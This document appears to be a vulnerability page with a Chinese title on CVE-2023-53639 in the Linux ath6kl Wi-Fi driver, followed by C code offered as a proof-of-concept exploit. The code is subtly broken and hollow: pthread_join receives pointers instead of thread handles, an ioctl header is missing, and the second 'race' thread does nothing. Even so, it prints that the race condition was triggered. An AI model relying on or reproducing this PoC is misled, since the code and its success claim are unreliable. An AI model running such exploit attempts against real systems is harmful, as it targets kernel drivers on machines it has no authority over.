CVE-2023-53639 Linux内核ath6kl驱动回调中WARN降级漏洞

// PoC for CVE-2023-53639 // This vulnerability is triggered by inducing a known race condition in ath6kl driver callbacks // The original code uses WARN() which is reduced to dev_dbg() in the fix #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <sys/socket.h> #include <linux/wireless.h> // Simulate triggering the race condition in ath6kl callback // This requires loading the ath6kl driver and performing WiFi operations volatile int trigger_race = 0; void* wifi_operation_thread(void* arg) { // Thread 1: Perform WiFi operations to trigger callbacks int sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return NULL; } // Perform operations that trigger ath6kl callbacks // For example: scan, connect, disconnect operations struct iwreq wrq; memset(&wrq, 0, sizeof(wrq)); strncpy(wrq.ifr_name, "wlan0", IFNAMSIZ); // Trigger scan to invoke callbacks ioctl(sock, SIOCSIWSCAN, &wrq); close(sock); return NULL; } void* interrupt_thread(void* arg) { // Thread 2: Simulate interrupt or concurrent operation while (!trigger_race) { usleep(100); } // Force concurrent access to trigger race condition return NULL; } int main(int argc, char* argv[]) { printf("CVE-2023-53639 PoC - ath6kl WARN reduction\n"); printf("This PoC demonstrates triggering the race condition\n"); printf("that causes WARN() to fire in ath6kl callback.\n\n"); // Note: Actual exploitation requires: // 1. ath6kl driver loaded // 2. Compatible WiFi hardware // 3. Root or appropriate permissions // 4. Concurrent WiFi operations pthread_t t1, t2; pthread_create(&t1, NULL, wifi_operation_thread, NULL); pthread_create(&t2, NULL, interrupt_thread, NULL); // Wait for operations to complete sleep(2); trigger_race = 1; pthread_join(&t1, NULL); pthread_join(&t2, NULL); printf("Race condition triggered. Check dmesg for WARN output.\n"); printf("After fix: Only dev_dbg() output will appear (if debug enabled).\n"); return 0; }